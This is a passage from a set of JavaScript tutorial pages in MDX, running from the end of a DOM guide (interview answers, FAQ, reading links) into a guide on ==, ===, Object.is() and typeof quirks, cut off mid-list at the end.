HTMLCollection | NodeList | | **Live** | **Yes** (updates automatically) | **No** (static snapshot) | | Selector | Class name only | Any CSS selector | | Speed | Slightly faster | Slightly slower | ```javascript const live = document.getElementsByClassName('item') const staticList = document.querySelectorAll('.item') // Add new element with class="item" document.body.appendChild(newItem) live.length // Increased (live collection) staticList.length // Same (static snapshot) ``` </Accordion> <Accordion title="Question 8: How do you safely add many elements to the DOM?"> **Answer:** Use a **DocumentFragment** to batch insertions: ```javascript const fragment = document.createDocumentFragment() for (let i = 0; i < 1000; i++) { const li = document.createElement('li') li.textContent = `Item ${i}` fragment.appendChild(li) // No reflow (fragment is detached) } ul.appendChild(fragment) // Single reflow! ``` A DocumentFragment is a virtual container. When appended, only its children are inserted. The fragment disappears. Alternative: Build HTML string and use `innerHTML` once (but sanitize if user input!). </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the DOM in JavaScript?"> The DOM (Document Object Model) is a programming interface that represents an HTML document as a tree of objects. As defined by the WHATWG DOM Living Standard, it provides a structured representation that JavaScript can read and modify. Every element, attribute, and text node becomes an object in this tree, allowing dynamic page manipulation. </Accordion> <Accordion title="What is the difference between the DOM and HTML?"> HTML is the static markup you write in a file. The DOM is the live, in-memory representation the browser creates after parsing that HTML. The browser corrects errors (adding missing tags, fixing nesting), executes JavaScript that modifies it, and keeps it in sync with what you see on screen. The DOM can differ significantly from your original HTML source. </Accordion> <Accordion title="What is the difference between getElementById and querySelector?"> `getElementById` finds a single element by its `id` attribute and is the fastest DOM lookup method. `querySelector` accepts any CSS selector and is more flexible, but slightly slower. According to MDN, `getElementById` is only available on the `document` object, while `querySelector` can be called on any element to search within its subtree. </Accordion> <Accordion title="What causes layout thrashing in the DOM?"> Layout thrashing occurs when you repeatedly read layout properties (like `offsetHeight`) and then write to the DOM in the same synchronous block. Each read forces the browser to recalculate layout before returning a value, and each write invalidates that layout. According to Google's web performance research, layout thrashing is one of the most common causes of janky scrolling and slow interactions. </Accordion> <Accordion title="How does event delegation work in JavaScript?"> Event delegation attaches a single event listener to a parent element instead of adding listeners to every child. It works because DOM events bubble up from the target through ancestor elements. You check `event.target` to identify which child was clicked. This pattern is more memory-efficient and works automatically for dynamically added elements. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How JavaScript handles async operations and DOM events </Card> <Card title="JavaScript Engines" icon="gear" href="/concepts/javascript-engines"> How V8 and other engines parse and execute your DOM code </Card> <Card title="Scope and Closures" icon="layer-group" href="/concepts/scope-and-closures"> Understanding variable scope in event handlers and callbacks </Card> <Card title="Design Patterns" icon="puzzle-piece" href="/concepts/design-patterns"> Patterns like Observer for reactive DOM updates </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Document Object Model (DOM) — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model"> The comprehensive MDN reference for all DOM interfaces, methods, and properties. </Card> <Card title="Document Interface — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Document"> The Document interface representing the web page loaded in the browser. </Card> <Card title="Element Interface — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Element"> The base class for all element objects in a Document. </Card> <Card title="Node Interface — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Node"> The abstract base class for DOM nodes including elements, text, and comments. </Card> <Card title="NodeList Interface — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/NodeList"> Collections of nodes returned by querySelectorAll and other methods. </Card> <Card title="HTMLCollection Interface — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLCollection"> Live collections of elements returned by getElementsByClassName and similar. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Eloquent JavaScript: The Document Object Model" icon="book" href="https://eloquentjavascript.net/14_dom.html"> A free book chapter with runnable code examples you can edit right in the browser. Includes exercises at the end to test your understanding. </Card> <Card title="How To Understand and Modify the DOM in JavaScript" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/introduction-to-the-dom"> Tania Rascia walks through each concept with side-by-side HTML and JavaScript examples. Great for visual learners who want to see code and results together. </Card> <Card title="What's the Document Object Model, and why you should know how to use it" icon="newspaper" href="https://medium.freecodecamp.org/whats-the-document-object-model-and-why-you-should-know-how-to-use-it-1a2d0bc5429d"> Builds a simple project while explaining DOM concepts. Good if you learn better by building something rather than reading theory. </Card> <Card title="What is the DOM?" icon="newspaper" href="https://css-tricks.com/dom/"> Short read that clears up the "DOM vs HTML source" confusion with visual examples. Explains why DevTools shows something different from View Source. </Card> <Card title="Traversing the DOM with JavaScript" icon="newspaper" href="https://zellwk.com/blog/dom-traversals/"> Zell explains the difference between Node and Element traversal methods with clear diagrams. Includes the "whitespace text node" gotcha that trips up beginners. </Card> <Card title="DOM Tree" icon="newspaper" href="https://javascript.info/dom-nodes"> Interactive examples you can edit and run in the browser. Part of a larger DOM tutorial series if you want to keep going deeper. </Card> <Card title="How to traverse the DOM in JavaScript" icon="newspaper" href="https://medium.com/javascript-in-plain-english/how-to-traverse-the-dom-in-javascript-d6555c335b4e"> Covers every traversal method with console output screenshots. Useful reference when you forget which property to use for siblings vs children. </Card> <Card title="Render Tree Construction" icon="newspaper" href="https://web.dev/articles/critical-rendering-path/render-tree-construction"> Google's official explanation of the Critical Rendering Path. Essential reading if you want to understand why some DOM operations are slow. </Card> <Card title="What, exactly, is the DOM?" icon="newspaper" href="https://bitsofco.de/what-exactly-is-the-dom/"> Compares DOM vs HTML source vs Render Tree side by side with diagrams. Clears up the confusion about what DevTools actually shows you. </Card> <Card title="JavaScript DOM Tutorial" icon="newspaper" href="https://www.javascripttutorial.net/javascript-dom/"> A multi-part tutorial organized by topic, so you can jump to exactly what you need. Each page is self-contained with try-it-yourself examples. </Card> <Card title="Event Propagation — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events"> MDN's guide to event handling including bubbling, capturing, and delegation patterns. </Card> <Card title="Bubbling and Capturing" icon="newspaper" href="https://javascript.info/bubbling-and-capturing"> Animated diagrams showing events traveling up and down the DOM tree. Makes the three-phase model (capture, target, bubble) easy to visualize. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript DOM Manipulation – Full Course for Beginners" icon="graduation-cap" href="https://www.youtube.com/watch?v=5fb2aPlgoys"> A 2-hour freeCodeCamp course that builds multiple projects while teaching DOM concepts. Good if you want structured learning from zero to comfortable. </Card> <Card title="JavaScript DOM Tutorial" icon="video" href="https://www.youtube.com/watch?v=FIORjGvT0kk"> A playlist of short, focused videos (5-10 min each). Pick the topic you need instead of watching everything in order. </Card> <Card title="JavaScript DOM Crash Course" icon="video" href="https://www.youtube.com/watch?v=0ik6X4DJKCc"> Brad Traversy's 4-part series (this is part 1). Builds a task list project by the end, so you see DOM skills applied to something real. </Card> <Card title="JavaScript DOM Manipulation Methods" icon="video" href="https://www.youtube.com/watch?v=y17RuWkWdn8"> Web Dev Simplified explains createElement, appendChild, and other manipulation methods. </Card> <Card title="JavaScript DOM Traversal Methods" icon="video" href="https://www.youtube.com/watch?v=v7rSSy8CaYE"> Web Dev Simplified covers parent, child, and sibling traversal methods. </Card> <Card title="Event Propagation - JavaScript Event Bubbling and Propagation" icon="video" href="https://www.youtube.com/watch?v=JYc7gr9Ehl0"> Steve Griffith explains event bubbling, capturing, and how to control event flow. </Card> </CardGroup> ================================================ FILE: docs/concepts/equality-operators.mdx ================================================ --- title: "Equality: == vs ===" sidebarTitle: "Equality Operators: == vs === Type Checking" description: "Learn JavaScript equality: == vs ===, typeof quirks, and Object.is(). Understand type coercion and why NaN !== NaN." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "JavaScript Fundamentals" "article:tag": "javascript equality, == vs ===, strict equality, loose equality, Object.is javascript, NaN comparison" --- Why does `1 == "1"` return `true` but `1 === "1"` return `false`? Why does `typeof null` return `"object"`? And why is `NaN` the only value in JavaScript that isn't equal to itself? ```javascript // Same values, different results console.log(1 == "1"); // true — loose equality converts types console.log(1 === "1"); // false — strict equality checks type first // The famous quirks console.log(typeof null); // "object" — a bug from 1995! console.log(NaN === NaN); // false — NaN never equals anything ``` Understanding JavaScript's **[equality operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality)** is crucial because comparison bugs are among the most common in JavaScript code. According to the ECMAScript specification (ECMA-262), JavaScript defines three distinct equality algorithms: Abstract Equality, Strict Equality, and SameValue. This guide will teach you exactly how `==`, **[`===`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality)**, and **[`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is)** work, and when to use each one. <Info> **What you'll learn in this guide:** - The difference between `==` (loose) and `===` (strict) equality - How JavaScript converts values during loose equality comparisons - The **[`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)** operator and its famous quirks (including the `null` bug) - When to use `Object.is()` for edge cases like `NaN` and `-0` - Common comparison mistakes and how to avoid them - A simple rule: when to use which operator </Info> <Warning> **Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types) and [Type Coercion](/concepts/type-coercion). Equality operators rely heavily on how JavaScript converts types. If those concepts are new to you, read those guides first! </Warning> --- ## The Three Equality Operators: Overview JavaScript provides three ways to compare values for equality. Here's the quick summary: | Operator | Name | Type Coercion | Best For | |----------|------|---------------|----------| | `==` | Loose (Abstract) Equality | Yes | Checking `null`/`undefined` only | | `===` | Strict Equality | No | **Default choice for everything** | | `Object.is()` | Same-Value Equality | No | Edge cases (`NaN`, `±0`) | ```javascript // The same comparison, three different results const num = 1; const str = "1"; console.log(num == str); // true (coerces string to number) console.log(num === str); // false (different types) console.log(Object.is(num, str)); // false (different types) ``` <Note> **The simple rule:** Always use `===` for comparisons. The only exception: use `== null` to check if a value is empty (null or undefined). You'll rarely need `Object.is()`. It's for special cases we'll cover later. </Note> --- ## The Teacher Grading Papers: A Real-World Analogy Imagine a teacher grading a math test. The question asks: "What is 2 + 2?" One student writes: `4` Another student writes: `"4"` (as text) A third student writes: `4.0` How strict should the teacher be when grading? ``` RELAXED GRADING (==) STRICT GRADING (===) "Is the answer correct?" "Is it exactly right?" ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ 4 │ = │ "4" │ │ 4 │ ≠ │ "4" │ │ (number) │ │ (string) │ │ (number) │ │ (string) │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ └────────┬────────┘ └────────┬────────┘ ▼ ▼ "Close enough!" ✓ "Different types!" ✗ ``` JavaScript gives you both types of teachers: - **Loose equality (`==`)** — The relaxed teacher. Accepts `4` and `"4"` as the same answer because the *meaning* is similar. Converts values to match before comparing. - **Strict equality (`===`)** — The strict teacher. Only accepts the *exact* answer in the *exact* format. The number `4` and the string `"4"` are different answers. - **`typeof`** — Asks "What kind of answer is this?" Is it a number? A string? Something else? - **`Object.is()`** — The most precise teacher. Even stricter than `===` — can spot tiny differences that others miss. <Tip> **TL;DR:** Use `===` for almost everything. Use `== null` to check for both `null` and `undefined`. Use `Object.is()` only for `NaN` or `-0` edge cases. </Tip> --- ## Loose Equality (`==`): The Relaxed Comparison The **[`==` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality)** tries to be helpful. Before comparing two values, it converts them to the same type. This automatic conversion is called **[type coercion](/concepts/type-coercion)**. For example, if you compare the number `5` with the string `"5"`, JavaScript thinks: "These look similar. Let me convert them and check." So `5 == "5"` returns `true`. ### How It Works When you write `x == y`, JavaScript asks: 1. Are `x` and `y` the same type? → Compare them directly 2. Are they different types? → Convert one or both to match, then compare This automatic conversion can be helpful, but it can also cause unexpected results. ### The Abstract Equality Comparison Algorithm Here's the complete algorithm from the ECMAScript specification. When comparing `x == y`: <Steps> <Step title="Same Type?"> If `x` and `y` are the same type, perform strict equality comparison (`===`). ```javascript 5 == 5 // Same type (number), compare directly → true "hello" == "hello" // Same type (string), compare directly → true ``` </Step> <Step title="null and undefined"> If `x` is **[`null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null)** and `y` is **[`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)** (or vice versa), return `true`. ```javascript null == undefined // true (special case!) undefined == null // true ``` </Step> <Step title="Number and String"> If one is a Number and the other is a String, convert the String to a Number. ```javascript 5 == "5" // "5" → 5, then 5 == 5 → true 0 == "" // "" → 0, then 0 == 0 → true 42 == "42" // "42" → 42, then 42 == 42 → true ``` </Step> <Step title="BigInt and String"> If one is a **[BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt)** and the other is a String, convert the String to a BigInt. ```javascript 10n == "10" // "10" → 10n, then 10n == 10n → true ``` </Step> <Step title="Boolean Conversion"> If either value is a Boolean, convert it to a Number (`true` → `1`, `false` → `0`). ```javascript true == 1 // true → 1, then 1 == 1 → true false == 0 // false → 0, then 0 == 0 → true true == "1" // true → 1, then 1 == "1" → 1 == 1 → true ``` </Step> <Step title="Object to Primitive"> If one is an Object and the other is a String, Number, BigInt, or **[Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)**, convert the Object to a primitive using **[`ToPrimitive`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive)**. ```javascript [1] == 1 // [1] → "1" → 1, then 1 == 1 → true [""] == 0 // [""] → "" → 0, then 0 == 0 → true ``` </Step> <Step title="BigInt and Number"> If one is a BigInt and the other is a Number, compare their mathematical values. ```javascript 10n == 10 // Compare values: 10 == 10 → true 10n == 10.5 // 10 !== 10.5 → false ``` </Step> <Step title="No Match"> If none of the above rules apply, return `false`. ```javascript null == 0 // false (null only equals undefined) undefined == 0 // false Symbol() == Symbol() // false (Symbols are always unique) ``` </Step> </Steps> ### Visual: The Coercion Decision Tree ``` x == y │ ┌────────────┴────────────┐ ▼ ▼ Same type? Different types? │ │ YES YES │ │ ▼ ▼ Compare values ┌────────┴────────┐ (like ===) │ │ ▼ ▼ null == undefined? Apply coercion │ rules above YES │ │ ▼ ▼ Convert types true then compare again ``` ### The Complete Coercion Rules Table | Type of x | Type of y | Coercion Applied | |-----------|-----------|------------------| | Number | String | `ToNumber(y)` — String becomes Number | | String | Number | `ToNumber(x)` — String becomes Number | | BigInt | String | `ToBigInt(y)` — String becomes BigInt | | String | BigInt | `ToBigInt(x)` — String becomes BigInt | | Boolean | Any | `ToNumber(x)` — Boolean becomes Number (0 or 1) | | Any | Boolean | `ToNumber(y)` — Boolean becomes Number (0 or 1) | | Object | String/Number/BigInt/Symbol | `ToPrimitive(x)` — Object becomes primitive | | String/Number/BigInt/Symbol | Object | `ToPrimitive(y)` — Object becomes primitive | | BigInt | Number | Compare mathematical values directly | | Number | BigInt | Compare mathematical values directly | | null | undefined | `true` (special case) | | undefined | null | `true` (special case) | | null | Any (except undefined) | `false` | | undefined | Any (except null) | `false` | ### Surprising Results Gallery Here are some comparison results that surprise most developers. Understanding *why* these happen will help you avoid bugs in your code: <Tabs> <Tab title="String & Number"> ```javascript // String converted to Number 1 == "1" // true ("1" → 1) 0 == "" // true ("" → 0) 0 == "0" // true ("0" → 0) 100 == "1e2" // true ("1e2" → 100) // But string-to-string is direct comparison "" == "0" // false (both strings, different values) // NaN conversions (NaN is "Not a Number") NaN == "NaN" // false (NaN ≠ anything, including itself) 0 == "hello" // false ("hello" → NaN, 0 ≠ NaN) ``` </Tab> <Tab title="Boolean Coercion"> ```javascript // Booleans become 0 or 1 FIRST true == 1 // true (true → 1) false == 0 // true (false → 0) true == "1" // true (true → 1, "1" → 1) false == "" // true (false → 0, "" → 0) // This is why these are confusing: true == "true" // false! (true → 1, "true" → NaN) false == "false" // false! (false → 0, "false" → NaN) // And these seem wrong: true == 2 // false (true → 1, 1 ≠ 2) true == "2" // false (true → 1, "2" → 2, 1 ≠ 2) ``` <Warning> **Common trap:** `true == "true"` is `false`! The boolean `true` becomes `1`, and the string `"true"` becomes `NaN`. Since `1 ≠ NaN`, the result is `false`. </Warning> </Tab> <Tab title="null & undefined"> ```javascript // The special relationship null == undefined // true (special rule!) undefined == null // true // But they don't equal anything else null == 0 // false null == false // false null == "" // false undefined == 0 // false undefined == false // false undefined == "" // false // This is actually useful! let value = null; if (value == null) { // Catches both null AND undefined console.log("Value is nullish"); } ``` <Tip> This is the ONE legitimate use case for `==`. Using `value == null` checks for both `null` and `undefined` in a single comparison. </Tip> </Tab> <Tab title="Arrays & Objects"> ```javascript // Arrays convert via ToPrimitive (usually toString) [] == false // true ([] → "" → 0, false → 0) [] == 0 // true ([] → "" → 0) [] == "" // true ([] → "") [1] == 1 // true ([1] → "1" → 1) [1] == "1" // true ([1] → "1") [1,2] == "1,2" // true ([1,2] → "1,2") // Empty array gotcha [] == ![] // true! (see explanation below) // Objects with valueOf/toString let obj = { valueOf: () => 42 }; obj == 42 // true (obj.valueOf() → 42) ``` </Tab> </Tabs> ### Step-by-Step Trace: `[] == ![]` This is one of JavaScript's most surprising results. An empty array `[]` equals `![]`? Let's break down why this happens step by step: <Steps> <Step title="Evaluate ![]"> First, JavaScript evaluates `![]`. - `[]` is truthy (all objects are truthy) - `![]` therefore equals `false` - Now we have: `[] == false` </Step> <Step title="Boolean to Number"> One side is a Boolean, so convert it to a Number. - `false` → `0` - Now we have: `[] == 0` </Step> <Step title="Object to Primitive"> One side is an Object, so convert it via ToPrimitive. - `[]` → `""` (empty array's toString returns empty string) - Now we have: `"" == 0` </Step> <Step title="String to Number"> One side is a String and one is a Number, so convert the String. - `""` → `0` (empty string becomes 0) - Now we have: `0 == 0` </Step> <Step title="Final Comparison"> Both sides are Numbers with the same value. - `0 == 0` → `true` </Step> </Steps> ```javascript // The chain of conversions: [] == ![] [] == false // ![] → false [] == 0 // false → 0 "" == 0 // [] → "" 0 == 0 // "" → 0 true // 0 equals 0! ``` <Warning> This example shows why `==` can produce unexpected results. An empty array appears to equal its own negation! This isn't a bug. It's how JavaScript's conversion rules work. This is why most developers prefer `===`. </Warning> ### When `==` Might Be Useful Despite its quirks, there's one legitimate use case for loose equality: ```javascript // Checking for null OR undefined in one comparison function greet(name) { // Using == (the one acceptable use case!) if (name == null) { return "Hello, stranger!"; } return `Hello, ${name}!`; } // Both null and undefined are caught greet(null); // "Hello, stranger!" greet(undefined); // "Hello, stranger!" greet("Alice"); // "Hello, Alice!" greet(""); // "Hello, !" (empty string is NOT null) greet(0); // "Hello, 0!" (0 is NOT null) ``` This is equivalent to the more verbose: ```javascript function greet(name) { if (name === null || name === undefined) { return "Hello, stranger!"; } return `Hello, ${name}!`; } ``` <Tip> Many style guides (including those from Airbnb and StandardJS) make an exception for `value == null` because it's a clean way to check for "nullish" values. However, you can also use the nullish coalescing operator (`??`) or optional chaining (`?.`) introduced in ES2020. </Tip> --- ## Strict Equality (`===`): The Reliable Choice The strict equality operator compares two values **without** any conversion. If the types are different, it immediately returns `false`. This is the operator you should use almost always. It's simple and predictable: the number `1` and the string `"1"` are different types, so `1 === "1"` returns `false`. No surprises. ### How It Works When you write `x === y`, JavaScript asks: 1. Are `x` and `y` the same type? No → return `false` 2. Same type? → Compare their values That's it. No conversions, no surprises (well, *almost*. There's one special case with **[`NaN`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)**). ### The Strict Equality Comparison Algorithm <Steps> <Step title="Type Check"> If `x` and `y` are different types, return `false` immediately. ```javascript 1 === "1" // false (number vs string) true === 1 // false (boolean vs number) null === undefined // false (null vs undefined) ``` </Step> <Step title="Number Comparison"> If both are Numbers: - If either is `NaN`, return `false` - If both are the same numeric value, return `true` - `+0` and `-0` are considered equal ```javascript 42 === 42 // true NaN === NaN // false (!) +0 === -0 // true Infinity === Infinity // true ``` </Step> <Step title="String Comparison"> If both are Strings, return `true` if they have the same characters in the same order. ```javascript "hello" === "hello" // true "hello" === "Hello" // false (case sensitive) "hello" === "hello " // false (different length) ``` </Step> <Step title="Boolean Comparison"> If both are Booleans, return `true` if they're both `true` or both `false`. ```javascript true === true // true false === false // true true === false // false ``` </Step> <Step title="BigInt Comparison"> If both are BigInts, return `true` if they have the same mathematical value. ```javascript 10n === 10n // true 10n === 20n // false ``` </Step> <Step title="Symbol Comparison"> If both are Symbols, return `true` only if they are the exact same Symbol. ```javascript const sym = Symbol("id"); sym === sym // true Symbol("id") === Symbol("id") // false (different symbols!) ``` </Step> <Step title="Object Comparison (Reference)"> If both are Objects (including Arrays and Functions), return `true` only if they are the **same object** (same reference in memory). ```javascript const obj = { a: 1 }; obj === obj // true (same reference) { a: 1 } === { a: 1 } // false (different objects!) [] === [] // false (different arrays!) ``` </Step> <Step title="null and undefined"> `null === null` returns `true`. `undefined === undefined` returns `true`. But `null === undefined` returns `false` (different types). ```javascript null === null // true undefined === undefined // true null === undefined // false ``` </Step> </Steps> ### Visual: Strict Equality Flowchart ``` x === y │ ┌───────────────┴───────────────┐ │ Same type? │ └───────────────┬───────────────┘ │ │ NO YES │ │ ▼ ▼ false Both NaN? │ ┌───────┴───────┐ YES NO │ │ ▼ ▼ false Same value? (NaN never equals │ anything!) ┌───────┴───────┐ YES NO │ │ ▼ ▼ true false ``` ### The Predictable Results With `===`, what you see is what you get: ```javascript // All of these are false (different types) 1 === "1" // false 0 === "" // false true === 1 // false false === 0 // false null === undefined // false [] === "" // false // All of these are true (same type, same value) 1 === 1 // true "hello" === "hello" // true true === true // true null === null // true undefined === undefined // true ``` ### Special Cases: Two Exceptions to Know Even `===` has two edge cases that might surprise you: <Tabs> <Tab title="NaN !== NaN"> ```javascript // NaN is the only value that is not equal to itself NaN === NaN // false! // NaN doesn't equal anything, not even itself! // This is part of how numbers work in all programming languages // This is by design (IEEE 754 specification) // NaN represents "Not a Number" - an undefined result // Since it's not a specific number, it can't equal anything // How to check for NaN: Number.isNaN(NaN) // true (recommended) isNaN(NaN) // true (but has quirks — see below) Object.is(NaN, NaN) // true (ES6) // The isNaN() quirk: isNaN("hello") // true! (converts to NaN first) Number.isNaN("hello") // false (no conversion) ``` <Warning> Always use **[`Number.isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN)** instead of the global `isNaN()`. The global `isNaN()` function converts its argument to a Number first, which means `isNaN("hello")` returns `true`. That's rarely what you want. </Warning> </Tab> <Tab title="+0 === -0"> ```javascript // Positive zero and negative zero are considered equal +0 === -0 // true -0 === 0 // true // But they ARE different! Watch this: 1 / +0 // Infinity 1 / -0 // -Infinity // Two zeros, two different infinities. Math is wild. // How to distinguish them: Object.is(+0, -0) // false (ES6) 1 / +0 === 1 / -0 // false (Infinity vs -Infinity) // When does -0 appear? 0 * -1 // -0 Math.sign(-0) // -0 JSON.parse("-0") // -0 ``` You'll rarely need to tell `+0` and `-0` apart unless you're doing advanced math or physics calculations. </Tab> </Tabs> ### Object Comparison: Reference vs Value This is one of the most important concepts to understand: ```javascript // Objects are compared by REFERENCE, not by value const obj1 = { name: "Alice" }; const obj2 = { name: "Alice" }; const obj3 = obj1; obj1 === obj2 // false (different objects in memory) obj1 === obj3 // true (same reference) // Same with arrays const arr1 = [1, 2, 3]; const arr2 = [1, 2, 3]; const arr3 = arr1; arr1 === arr2 // false (different arrays) arr1 === arr3 // true (same reference) // And functions const fn1 = () => {}; const fn2 = () => {}; const fn3 = fn1; fn1 === fn2 // false (different functions) fn1 === fn3 // true (same reference) ``` ``` MEMORY VISUALIZATION: obj1 ──────┐ ├──► { name: "Alice" } (Object A) obj3 ──────┘ obj2 ──────────► { name: "Alice" } (Object B) obj1 === obj3 → true (both point to Object A) obj1 === obj2 → false (different objects, even with same content) ``` <Tip> To compare objects by their content (deep equality), you need to: - Use **[`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify)** for simple objects (has limitations) - Write a recursive comparison function - Use a library like Lodash's `_.isEqual()` </Tip> --- ## `Object.is()`: Same-Value Equality ES6 introduced `Object.is()` to fix the two edge cases where `===` gives unexpected results. As documented by MDN, `Object.is()` implements the "SameValue" algorithm from the ECMAScript specification. It works exactly like `===`, but handles `NaN` and `-0` correctly. ### Why It Exists ```javascript // The two cases where === is "wrong" NaN === NaN // false (but NaN IS NaN!) +0 === -0 // true (but they ARE different!) // Object.is() fixes both Object.is(NaN, NaN) // true ✓ Object.is(+0, -0) // false ✓ ``` ### How It Differs from `===` `Object.is()` behaves exactly like `===` except for these two cases: | Expression | `===` | `Object.is()` | |------------|-------|---------------| | `NaN, NaN` | `false` | `true` | | `+0, -0` | `true` | `false` | | `-0, 0` | `true` | `false` | | `1, 1` | `true` | `true` | | `"a", "a"` | `true` | `true` | | `null, null` | `true` | `true` | | `{}, {}` | `false` | `false` | ### Complete Comparison Table | Values | `==` | `===` | `Object.is()` | |--------|------|-------|---------------| | `1, "1"` | `true` | `false` | `false` | | `0, false` | `true` | `false` | `false` | | `null, undefined` | `true` | `false` | `false` | | `NaN, NaN` | `false` | `false` | `true` | | `+0, -0` | `true` | `true` | `false` | | `[], []` | `false` | `false` | `false` | | `{}, {}` | `false` | `false` | `false` | ### When to Use `Object.is()` ```javascript // 1. Checking for NaN (alternative to Number.isNaN) function isReallyNaN(value) { return Object.is(value, NaN); } // 2. Distinguishing +0 from -0 (rare, but needed in math/physics) function isNegativeZero(value) { return Object.is(value, -0); } // 3. Implementing SameValue comparison (like in Map/Set) // Maps use SameValueZero (like Object.is but +0 === -0) const map = new Map(); map.set(NaN, "value"); map.get(NaN); // "value" (NaN works as a key!) // 4. Library code and polyfills // When you need exact specification compliance ``` <Note> For most everyday code, you won't need `Object.is()`. Use `===` as your default, and reach for `Object.is()` only when you specifically need to handle `NaN` or `±0` edge cases. </Note> --- ## The `typeof` Operator The **[`typeof` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)** tells you what type a value is. It returns a string like `"number"`, `"string"`, or `"boolean"`. The 2023 State of JS survey found that TypeScript adoption continues to grow — partly driven by developers seeking to avoid the type-checking pitfalls that `typeof` alone cannot solve. It's very useful, but it has some famous quirks that surprise many developers. ### How It Works ```javascript typeof operand typeof(operand) // Both forms are valid ``` ### Complete Results Table | Value | `typeof` Result | Notes | |-------|-----------------|-------| | `"hello"` | `"string"` | | | `42` | `"number"` | Includes `Infinity`, `NaN` | | `42n` | `"bigint"` | ES2020 | | `true` / `false` | `"boolean"` | | | `undefined` | `"undefined"` | | | `Symbol()` | `"symbol"` | ES6 | | `null` | `"object"` | **Famous bug!** | | `{}` | `"object"` | | | `[]` | `"object"` | Arrays are objects | | `function(){}` | `"function"` | Special case | | `class {}` | `"function"` | Classes are functions | | `new Date()` | `"object"` | | | `/regex/` | `"object"` | | ### The Famous Quirks <AccordionGroup> <Accordion title="typeof null === 'object' — A Famous Bug"> ```javascript typeof null // "object" — Wait, what?! ``` **Why?** This is a bug from JavaScript's first version in 1995. In the original code, values were stored with a type tag. Objects had the tag `000`, and `null` was represented as `0x00`, which also matched the object tag. **Why wasn't it fixed?** Too much existing code depends on this behavior. Changing it now would break millions of websites. So we have to work around it. **Workaround:** ```javascript // Always check for null explicitly function getType(value) { if (value === null) return "null"; return typeof value; } // Or check for "real" objects if (value !== null && typeof value === "object") { // It's definitely an object (not null) } ``` </Accordion> <Accordion title="Arrays Return 'object'"> ```javascript typeof [] // "object" typeof [1, 2, 3] // "object" typeof new Array() // "object" ``` **Why?** Arrays ARE objects in JavaScript. They inherit from `Object.prototype` and have special behavior for numeric keys and the `length` property, but they're still objects. **How to check for arrays:** ```javascript Array.isArray([]) // true (recommended) Array.isArray({}) // false Array.isArray("hello") // false // Or using Object.prototype.toString Object.prototype.toString.call([]) // "[object Array]" ``` Use **[`Array.isArray()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray)**. It's the most reliable method. </Accordion> <Accordion title="Functions Return 'function'"> ```javascript typeof function() {} // "function" typeof (() => {}) // "function" typeof class {} // "function" typeof Math.sin // "function" ``` **Why is this different?** Functions are technically objects too, but `typeof` treats them specially because checking for "callable" values is so common. This is actually convenient! ```javascript // This makes checking for functions easy if (typeof callback === "function") { callback(); } ``` </Accordion> <Accordion title="typeof on Undeclared Variables"> ```javascript // Referencing an undeclared variable throws an error console.log(undeclaredVar); // ReferenceError! // But typeof on an undeclared variable returns "undefined" typeof undeclaredVar // "undefined" (no error!) ``` **Why?** This was a design decision to allow safe feature detection: ```javascript // Safe way to check if a global exists if (typeof jQuery !== "undefined") { // jQuery is available } // vs. this would throw if jQuery doesn't exist if (jQuery !== undefined) { // ReferenceError if jQuery not defined! } ``` <Note> In modern JavaScript with modules and bundlers, this pattern is less necessary. But it's still useful for checking global variables and browser features. </Note> </Accordion> <Accordion title="NaN is a 'number' — Yes, Really"> ```javascript typeof NaN // "number" ``` "Not a Number" has a typeof of `"number"`. This sounds strange, but `NaN` is actually a special value in the number system. It represents a calculation that doesn't have a valid result, like `0 / 0`. ```javascript // These all produce NaN 0 / 0 // NaN parseInt("hello") // NaN Math.sqrt(-1) // NaN // Check for NaN properly Number.isNaN(NaN) // true ``` </Accordion> </AccordionGroup> ### Better Alternatives for Type Checking Since `typeof` has limitations, here are more reliable approaches: <Tabs> <Tab title="Type-Specific Checks"> ```javascript // Arrays Array.isArray(value) // true for arrays only // NaN Number.isNaN(value) // true for NaN only (no coercion) // Finite numbers Number.isFinite(value) // true for finite numbers // Integers Number.isInteger(value) // true for integers // Safe 